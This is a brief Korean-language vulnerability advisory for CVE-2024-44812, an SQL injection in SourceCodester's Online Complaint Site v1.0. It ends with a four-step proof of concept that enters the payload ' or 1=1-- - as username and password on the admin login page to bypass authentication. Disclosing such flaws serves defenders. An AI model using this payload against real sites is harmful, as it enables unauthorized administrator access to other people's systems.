공급업체

SourceCodester

영향을 받는 제품 링크

https://www.sourcecodester.com/php/14717/online-complaint-site-using-phpmysqli-full-source-code.html

CVE ID: CVE-2024-44812

설명:

Online Complaint Site v.1.0의 SQL Injection 취약점으로 인해 원격 공격자가 /admin.index.php 컴포넌트의 username 및 password 매개변수를 통해 권한을 상승시킬 수 있습니다.

PoC

CVE-2024-44812에 대한 개념 증명 익스플로잇 - Online Complaint Site v1.0의 SQL Injection 인증 우회 취약점

Step 1 – Visit http://localhost/complaintsite/
Step 2 – Click on "admin" button and redirect on login page.
Step 3 – Enter username as ' or 1=1-- - and password as ' or 1=1-- -
Step 4 – Click Login and now you will be logged in as admin.